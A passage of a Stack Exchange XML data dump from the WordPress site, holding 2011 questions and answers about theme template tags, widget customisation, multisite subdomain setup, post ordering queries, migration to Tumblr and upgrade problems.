page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to rectify this problem as changing the name servers will result in emails breaking.&lt;/p&gt;&#xA;" OwnerUserId="6040" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-06-09T16:01:52.987" LastActivityDate="2011-06-09T16:01:52.987" ClosedDate="2011-06-09T16:39:16.580" Title="www. and non www" Tags="&lt;dns&gt;" CommentCount="1" />
  <row Id="19576" PostTypeId="2" ParentId="13872" CreationDate="2011-06-09T09:07:58.540" Score="1" ViewCount="" Body="&lt;p&gt;This is pretty much a dupe of this, answered, question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/13872/how-to-restrict-access-to-uploaded-files/13879#13879&quot;&gt;How to restrict access to uploaded files ?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-09T09:07:58.540" />
  <row Id="19578" PostTypeId="1" AcceptedAnswerId="19579" CreationDate="2011-06-09T09:32:14.173" Score="0" ViewCount="30" Body="&lt;p&gt;Done some reasonable searching for this and don't think it's been asked before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a site which I'm developing a custom template/theme for.  The site will use a page as the front page (rather than the list of posts), but I want to create a link in the template to the page of blog posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some functions for finding various URL's like site_url() and admin_url(), and, of course, there's bloginfo(), but I can see anything that will get me the name/slug/URL/ID of the page used as the blog page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I've seen this somewhere before but can't track it down now that I need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;RW&lt;/p&gt;&#xA;" OwnerUserId="6042" LastActivityDate="2011-08-12T19:16:39.617" Title="Is there a template tag/function for getting the URL (or slug or name or ID) of the blog page when using a &quot;static&quot; front page" Tags="&lt;pages&gt;&lt;blog&gt;" AnswerCount="2" />
  <row Id="19579" PostTypeId="2" ParentId="19578" CreationDate="2011-06-09T09:42:39.807" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $blog_link = get_page_link( get_option( 'page_for_posts' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-09T09:42:39.807" />
  <row Id="19580" PostTypeId="1" CreationDate="2011-06-09T09:58:11.493" Score="0" ViewCount="43" Body="&lt;p&gt;I've just transferred a site from one server to another and gone through it and tested it and made sure all the content was there etc etc. I then did a backup of the database via phpMyAdmin and did an export of the content within wordpress. I then downloaded the latest version of Wordpress and did a manual upgrade but overwriting all the wp-admin folder, the wp-includes folder, the core files etc - I didn't touch my theme or uploads or plugins folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then did an upgrade of the database - all went well but when I returned to my site all is fine except the content on the pages - this is all missing when visiting the website, but when I go into the backend and view the pages to edit all the content is present - it's just not showing up on the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knoe how I can fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just realised I forgot to deactivate my plugins before upgrading - damn - would that cause the problem?&lt;/p&gt;&#xA;" OwnerUserId="6021" LastActivityDate="2011-06-10T12:50:14.727" Title="upgrade has caused page content to disappear" Tags="&lt;pages&gt;&lt;content&gt;&lt;upgrade&gt;" AnswerCount="2" CommentCount="9" />
  <row Id="19581" PostTypeId="2" ParentId="19573" CreationDate="2011-06-09T10:03:04.803" Score="0" ViewCount="" Body="&lt;p&gt;For me, I would offer a simple marker to indicate a line break (for example, a double colon), then swap them out for &lt;em&gt;actual&lt;/em&gt; line breaks when displaying (with &lt;code&gt;the_title&lt;/code&gt; filter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, you could also keep it 'context aware', so that line breaks aren't printed in places where they're unsuitable or unsightly (like the admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Topped off with a little one-time notice, or helper icon beside the title input, to inform new authors &amp;amp; editors of the feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this isn't the answer you're looking for, but I hope it might sway you nonetheless ;)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-09T10:03:04.803" CommentCount="1" />
  <row Id="19582" PostTypeId="1" CreationDate="2011-06-09T10:31:20.793" Score="0" ViewCount="128" Body="&lt;p&gt;My client request to put header images, but the images must be unique based on what menu the click. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let say i have 2 menus. First is What is A and second is What is B.&#xA;I can know the menu id when i hover the menu at the menu panel. Let say first menu id is 36 and second is 37.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can i change the header images based on the menu item id?&lt;/p&gt;&#xA;" OwnerUserId="6043" LastActivityDate="2011-08-08T21:21:05.067" Title="Change image based on menu item id" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="19583" PostTypeId="2" ParentId="19582" CreationDate="2011-06-09T10:58:38.347" Score="0" ViewCount="" Body="&lt;p&gt;If your header image is a background image, you can change it with CSS on every page thanks to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;body_class();&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag should look like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;body &amp;lt;?php body_class(); ?&amp;gt; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you visit each page you'll notice in the code that various classes are added to the body tag. You can then easily adapt your CSS to target any element on any page. for example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-id-96 #header{ background-image:url(myimage.png); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also pass the ID of the page to your image code, for example if you image has to be over the header, outside of the WP loop :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://www.mywebsite.com/img/banner_&amp;lt;?php global $wp_query; echo $wp_query-&amp;gt;post-&amp;gt;ID; ?&amp;gt;.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this code, Wordpress is going to look for an image that is named depending on the ID of your page. If you are on page &lt;code&gt;ID=23&lt;/code&gt; for example, it is going to load &lt;code&gt;banner_23.jpg&lt;/code&gt;. So you just have to name your different banners accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution would be to use &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;individual page templates&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-09T11:46:44.967" LastActivityDate="2011-06-09T11:46:44.967" CommentCount="4" />
  <row Id="19585" PostTypeId="1" CreationDate="2011-06-09T11:18:25.583" Score="0" ViewCount="191" Body="&lt;p&gt;I've become a big fan of Tumblr for a few reasons (the minimalism, ease of making quote/photo/video style posts, and the clients for mobile devices I use), so I've decided that after 7 loyal years of using WordPress, both hosted privately and the wordpress.com hosted solution, it's time to move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I have no idea how to do this properly. A few posts on the internet suggest importing from an RSS feed, but that won't quite cut it - my requirements are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I keep the same base URL (easy enough by mucking around with DNS records)&lt;/li&gt;&#xA;&lt;li&gt;All existing post URLs work, or at least 301 redirect to the new URL (to minimise loss of PageRank)&lt;/li&gt;&#xA;&lt;li&gt;Media such as embedded photos gets sensibly imported&lt;/li&gt;&#xA;&lt;li&gt;Comments get imported&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea how I should go about doing this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6046" LastEditorUserId="6046" LastEditorDisplayName="" LastEditDate="2011-06-09T11:44:05.723" LastActivityDate="2011-06-09T13:31:09.980" ClosedDate="2011-06-12T18:25:21.430" Title="Migrating to Tumblr" Tags="&lt;redirect&gt;&lt;export&gt;&lt;tumblr&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="19586" PostTypeId="2" ParentId="19585" CreationDate="2011-06-09T11:32:11.480" Score="2" ViewCount="" Body="&lt;p&gt;I'm thinking if there's no easy way, I could process a WordPress export and use the &lt;a href=&quot;http://www.tumblr.com/docs/en/api&quot; rel=&quot;nofollow&quot;&gt;Tumblr API&lt;/a&gt; write method to re-create all the posts, including date and slug... the URLs are likely to end up a little different, though, so I might need to use some mod-rewrite magic  until Google picks up on the 301s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: in fact there seem to be two such scripts already, one by &lt;a href=&quot;http://philtoland.com/post/464265345/importing-wordpress-content-into-tumblr&quot; rel=&quot;nofollow&quot;&gt;Phil Toland&lt;/a&gt; and another by &lt;a href=&quot;http://gist.github.com/330577&quot; rel=&quot;nofollow&quot;&gt;Mark Wunsch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't much like the idea of losing my comments, though.&lt;/p&gt;&#xA;" OwnerUserId="6046" LastEditorUserId="6046" LastEditorDisplayName="" LastEditDate="2011-06-09T11:39:34.140" LastActivityDate="2011-06-09T11:39:34.140" />
  <row Id="19587" PostTypeId="1" AcceptedAnswerId="19591" CreationDate="2011-06-09T12:11:27.593" Score="0" ViewCount="110" Body="&lt;p&gt;I would like to hack the default &lt;strong&gt;Recent Comments&lt;/strong&gt; widget to show also the avatar of commenter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modification should be really easy, if I change directly the code in &lt;code&gt;default-widgets.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $comments ) {&#xA;    foreach ( (array) $comments as $comment) {&#xA;        $output .=  '&amp;lt;li class=&quot;recentcomments&quot;&amp;gt;' . /* translators: comments widget: 1: comment author, 2: post link */ sprintf(_x('%1$s on %2$s', 'widgets'), get_comment_author_link(), '&amp;lt;a href=&quot;' . esc_url( get_comment_link($comment-&amp;gt;comment_ID) ) . '&quot;&amp;gt;' . get_the_title($comment-&amp;gt;comment_post_ID) . '&amp;lt;/a&amp;gt;') . get_avatar($comment-&amp;gt;user_id , 20) .  '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I don't like change core files and I would prefer a more ortodox way to implement it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-06-09T12:52:53.917" Title="How to hack recent comments default widget?" Tags="&lt;widgets&gt;&lt;comments&gt;" AnswerCount="2" />
  <row Id="19588" PostTypeId="1" CreationDate="2011-06-09T12:25:43.020" Score="0" ViewCount="109" Body="&lt;p&gt;I created an additional site on my multisite subdomain installation. Now when I try to visit the new site or its wp-admin, I get a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wordpress instance is hosted on AWS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checked the following&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AllowOverride is set to All in&#xA;httpd.conf &lt;/li&gt;&#xA;&lt;li&gt;contents of .htaccess are&#xA;the same as those in Network settings&lt;/li&gt;&#xA;&lt;li&gt;added the necessary statements to&#xA;wp-config.php&lt;/li&gt;&#xA;&lt;li&gt;Tried restarting httpd&#xA;as well&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What else could I be doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1070" LastEditorUserId="1070" LastEditorDisplayName="" LastEditDate="2011-06-09T12:36:27.047" LastActivityDate="2011-06-09T12:53:25.343" Title="Multisite - getting a 404 for additional site created using subdomain install" Tags="&lt;multisite&gt;&lt;subdomains&gt;" AnswerCount="1" />
  <row Id="19589" PostTypeId="2" ParentId="19573" CreationDate="2011-06-09T12:41:49.970" Score="1" ViewCount="" Body="&lt;p&gt;Set it up so that your editors and writers use the default title as the first line and add a metabox for a subtitle that will output the other lines as separate lines. This will require a theme adjustment if you want them all included in the h1 header tag. With some adjustments to the admin theme you can get this metabox placed under the title entry field, which should help reduce confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way WordPress prevents HTML from titles isn't able to be overridden. It's possible only if you hack the core but, even then, it creates a lot of strange problems. Feeds can't handle HTML in titles and the permalinks behave wierdly unless you rewrite the permalink functions. Leaving the default title alone and using custom fields is the way to go. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-09T12:41:49.970" />
  <row Id="19590" PostTypeId="2" ParentId="19587" CreationDate="2011-06-09T12:48:48.160" Score="1" ViewCount="" Body="&lt;p&gt;You can copy the widget code and make your own plugin with the changes you want or, alternatively, use one of the existing plugins that already do this. For example: &lt;a href=&quot;http://wordpress.org/extend/plugins/bwp-recent-comments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bwp-recent-comments/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-09T12:48:48.160" />
  <row Id="19591" PostTypeId="2" ParentId="19587" CreationDate="2011-06-09T12:52:53.917" Score="2" ViewCount="" Body="&lt;p&gt;Sounds like you just need to make another widget of your own in a plugin.  So copy the complete code from the default widgets file, and change the class name, then just edit the code you'd like to edit.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; class YOUR NEW WIDGET NAME extends WP_Widget {&#xA;       // ...&#xA;&#xA;        foreach ( (array) $comments as $comment) {&#xA;                $output .=  '&amp;lt;li class=&quot;recentcomments&quot;&amp;gt;' . /* translators: comments widget: 1: comment author, 2: post link */ sprintf(_x('%1$s on %2$s', 'widgets'), get_comment_author_link(), '&amp;lt;a href=&quot;' . esc_url( get_comment_link($comment-&amp;gt;comment_ID) ) . '&quot;&amp;gt;' . get_the_title($comment-&amp;gt;comment_post_ID) . '&amp;lt;/a&amp;gt;') . '&amp;lt;/li&amp;gt;';&#xA;            }&#xA;&#xA;    // ...&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just register the new widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'widgets_init', 'register_my_widget' );&#xA;function register_my_widget() {&#xA;     register_widget ( YOUR NEW WIDGET NAME );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All that should probably go inside a plugin so you don't loose your widget when changing themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://xavisys.com/wordpress-widget/&quot; rel=&quot;nofollow&quot;&gt;http://xavisys.com/wordpress-widget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Writing_a_Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Widgets_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-09T12:52:53.917" />
  <row Id="19592" PostTypeId="2" ParentId="19542" CreationDate="2011-06-09T12:53:25.047" Score="0" ViewCount="" Body="&lt;p&gt;Here's what I ended up with. For limited access users, I set comments on when the post guid is empty. Otherwise, I completely remove the comment_status field for those users. That defaults new posts to comments enabled, prevents limited access user edits from switching them off, while allowing admins to override the setting on/off.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_insert_post_data', 'handle_comments_setting' );&#xA;function handle_comments_setting( $data ) {&#xA;  if ( current_user_can( 'limited_role_name' )) {&#xA;    if ( $data['guid'] == '') {&#xA;      //Default new posts to allow comments&#xA;      $data['comment_status'] = &quot;open&quot;;        &#xA;    } else {&#xA;      //Otherwise ignore comment setting for community_member role users&#xA;      unset($data['comment_status']);&#xA;    }&#xA;  }&#xA;  return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-06-09T12:53:25.047" />
  <row Id="19593" PostTypeId="2" ParentId="19588" CreationDate="2011-06-09T12:53:25.343" Score="2" ViewCount="" Body="&lt;p&gt;You need to set a wildcard serveralias in that site's virtualhost declaration. Right under where it says &lt;code&gt;ServerName example.com&lt;/code&gt; you should add another line like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerAlias *.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might have already done that, but it was the only thing missing from the list of things you had checked.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-06-09T12:53:25.343" CommentCount="6" />
  <row Id="19594" PostTypeId="2" ParentId="19585" CreationDate="2011-06-09T12:59:24.227" Score="0" ViewCount="" Body="&lt;p&gt;Here's a Python script: &lt;a href=&quot;https://github.com/jonthornton/wp2tumblr&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jonthornton/wp2tumblr&lt;/a&gt; It was released in November 2010 and was reported to work well - with one minor change to the WordPress XML export file. The change is documented in the issues on the project's github page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The person I pointed to it said all content was imported &lt;strike&gt;including comments&lt;/strike&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;On checking, that Python script does not import comments, however I have another suggestion (untested) that may work for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a WordPress plugin that allows you to send your posts to Tumblr, including old posts: &lt;a href=&quot;http://wordpress.org/extend/plugins/tumblrize/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tumblrize/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get comments in, you could consider adding Disqus to your WordPress site and exporting comments into Disqus: &lt;a href=&quot;http://docs.disqus.com/help/24/&quot; rel=&quot;nofollow&quot;&gt;http://docs.disqus.com/help/24/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, add Disqus to Tumblr: &lt;a href=&quot;http://tumblring.net/how-to-add-disqus-comments-to-tumblr/&quot; rel=&quot;nofollow&quot;&gt;http://tumblring.net/how-to-add-disqus-comments-to-tumblr/&lt;/a&gt;&#xA;There may be a way to import the comments into Tumblr but that is an issue for Tumblr support. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastEditorUserId="2761" LastEditorDisplayName="" LastEditDate="2011-06-09T13:31:09.980" LastActivityDate="2011-06-09T13:31:09.980" CommentCount="2" />
  <row Id="19595" PostTypeId="2" ParentId="19580" CreationDate="2011-06-09T13:07:21.403" Score="1" ViewCount="" Body="&lt;p&gt;If content displays within WordPress itself when you are logged into the dashboard but does not display on the front end of your site it is almost always a theme problem. If you have access to server logs, such as error logs in cPanel, you can see what errors are being thrown up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy way to test if the theme is the problem is to change your theme to the default TwentyTen theme and see if your content appears. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-09T13:07:21.403" />
  <row Id="19596" PostTypeId="1" AcceptedAnswerId="19599" CreationDate="2011-06-09T13:10:26.147" Score="1" ViewCount="83" Body="&lt;p&gt;I have a table in my database containing vote a tally I'm trying to order posts by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;screenshot: &lt;a href=&quot;http://i.stack.imgur.com/j83Xa.png&quot; rel=&quot;nofollow&quot;&gt;the table&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried something like this, which brings up all the voted posts and pagination okay but does not order them by DESC. Any advice if I'm approaching this right is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php&#xA; global $wpdb;&#xA;$my_posts = $wpdb-&amp;gt;get_col(&quot;SELECT like_pid FROM wp_likes_count ORDER BY like_count&quot;);&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$args = array(&#xA;    'post__in' =&amp;gt; $my_posts['like_pid'],&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; 6,&#xA;&#xA;    'order' =&amp;gt; 'DESC'&#xA;    );&#xA;query_posts($args); ?&amp;gt;&#xA;&#xA;&#xA;               &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;    &#xA;               &amp;lt;!-- do stuff --&amp;gt;&#xA;               &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5859" LastEditorUserId="5859" LastEditorDisplayName="" LastEditDate="2011-06-09T14:51:35.133" LastActivityDate="2011-06-09T14:51:35.133" Title="How do I order my loop query?" Tags="&lt;loop&gt;&lt;wpdb&gt;" AnswerCount="2" />
  <row Id="19598" PostTypeId="2" ParentId="19596" CreationDate="2011-06-09T13:57:11.270" Score="1" ViewCount="" Body="&lt;p&gt;User the parameter 'order' in your loop call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post__in' =&amp;gt; $my_posts,&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; 6,&#xA;    'order' =&amp;gt; 'DESC'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is also a order_by parameter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-06-09T13:57:11.270" CommentCount="1" />
  <row Id="19599" PostTypeId="2" ParentId="19596" CreationDate="2011-06-09T14:16:54.960" Score="0" ViewCount="" Body="&lt;h3&gt;The Problem&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$my_posts&lt;/code&gt; doesn't contain any posts. It contains post IDs and likes. And you're dropping both into &lt;code&gt;post__in&lt;/code&gt;, which can't work. I guess even the number of posts wouldn't work if the plugin(?) wouldn't add any post with a 0-x integer to the db-table per default.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Debug&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_likes = $wpdb-&amp;gt;get_col(&quot;SELECT like_pid FROM wp_likes_count ORDER BY like_count DESC&quot;);&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r( $my_likes );&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will likely show you an array containing two sub-arrays. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Way to a solution&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Then try to get the sub-array you need and drop it into your query. &lt;em&gt;Example:&lt;/em&gt; &lt;code&gt;'post__in' =&amp;gt; $my_likes['like_pid']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Plugin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Anyway, a plugin should store something like this in the post_meta table in a field and not add an unnecassary table for something like that. There should be a facebook plugin by otto in the wp.org repo. This one's much stronger, better written &amp;amp; by a trustable author. You should consider switching.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-09T14:16:54.960" CommentCount="9" />
  <row Id="19600" PostTypeId="2" ParentId="19517" CreationDate="2011-06-09T14:39:26.517" Score="0" ViewCount="" Body="&lt;p&gt;Found a solution. I divided my pictures into 3 templates and in the post admin i just have to load them with the drop-down menu. The value of &quot;max_file_uploads&quot; is still stuck at 20 but for now it's the best solution i found.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-06-09T14:39:26.517" />
  <row Id="19601" PostTypeId="1" CreationDate="2011-06-09T14:48:43.247" Score="0" ViewCount="175" Body="&lt;p&gt;I'm having some issues with my first wordpress installation that's really throwing me for a loop. First some background info on the situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working on converting an HTML site into wordpress. Since the site was quite large (around 8000 pages) I used a plugin to import the HTML files. While doing so I found that I had to import them as drafts otherwise the import would fail. I started publishing groups of pages so that I could properly link from pages when i was fixing up the layouts and such. However when I get to around 3000 pages published the Pages section of wordpress no longer loads. I can access anything else in wordpress (Posts/Appearance/etc.) but clicking on any of the Pages section will cause Chrome to spit out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Error 324 (net::ERR_EMPTY_RESPONSE): The server closed the connection without sending any data.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did some looking online and in the codex and found a few suggestions for fixes but nothing seems to be working. I've tried disabling/removing all plugins, removing all themes other than the default twentyten, deleting my wp_config file to set up a new install and copying the posts and postmeta to the new database in phpmyadmin, completely overwriting all wordpress files with a freshly downloaded copy, with and without a cache plugin, with pretty and ugly permalinks, and probably a few other small things. I've also tried accessing it from an entirely different location to make sure it wasn't an issue with my local connection. I had WP-DBManager plugin installed and if I revert to an older backup (less pages published) everything will work properly again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated it's my first wordpress site so I'm not familiar with all of it yet but I've not had any issues i haven't been able to solve easily up to this point. I'm also not the very familiar with SQL databases but I understand the basics of that fairly well. To me it seems like it might be a problem with the database but I've been unable to figure out how to approach it from here. I feel like i'm going around in circles a bit at this point.&#xA;Not sure if this is important to this issue or not, but I did increase the WP_MEMORY_LIMIT in /wp-includes/default-constants.php to 64M initially to account for the increased database size prior to the problem and have tried it with 128M to see if that would solve the problem but does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions would be very much appreciated as I'm stuck at a standstill.&lt;/p&gt;&#xA;" OwnerUserId="6049" LastActivityDate="2011-08-10T13:21:53.713" Title="Pages section (only) not loading after publishing large number of pages" Tags="&lt;errors&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19602" PostTypeId="1" AcceptedAnswerId="19603" CreationDate="2011-06-09T14:56:20.807" Score="3" ViewCount="33" Body="&lt;p&gt;I get a &lt;em&gt;&quot;update available&quot;&lt;/em&gt; notification for my custom plugin &quot;breadcrumbs trail nav&quot; (not hosted in the official repo). Point is that there's a) no update available and b) it wants to get updated to version whatever from the yoast-breadcrumb plugin. Case: local install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My plugin header comment:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Plugin Name:    Breadcrumbs Trail Nav.&#xA;Plugin URI:     https://github.com/franz-josef-kaiser&#xA;Description:    Offers the &amp;lt;code&amp;gt;whatever( $args );&amp;lt;/code&amp;gt; template tag for a  semantically correct, seo-ready (well performing) breadcrumbs trail. All links are nofollow by default, but can be adjusted.&#xA;Author:         Franz Josef Kaiser&#xA;Author URI:     https://github.com/franz-josef-kaiser&#xA;Version:        0.2.1&#xA;License:        extended MIT/Expat license&#xA;&#xA;(c) Copyright 2010-2011 - Franz Josef Kaiser&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yoast plugin header comment:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Plugin Name:  Yoast Breadcrumbs&#xA;Plugin URI:   http://yoast.com/wordpress/breadcrumbs/&#xA;Description:  Outputs a fully customizable breadcrumb path.&#xA;Version:      0.8.5&#xA;Author:       Joost de Valk&#xA;Author URI:   http://yoast.com/&#xA;&#xA;Copyright (C) 2008-2010, Joost de Valk&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the problem?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-09T15:04:18.913" Title="plugin wants to update to wrong plugin" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;updates&gt;&lt;plugin-repository&gt;" AnswerCount="1" />
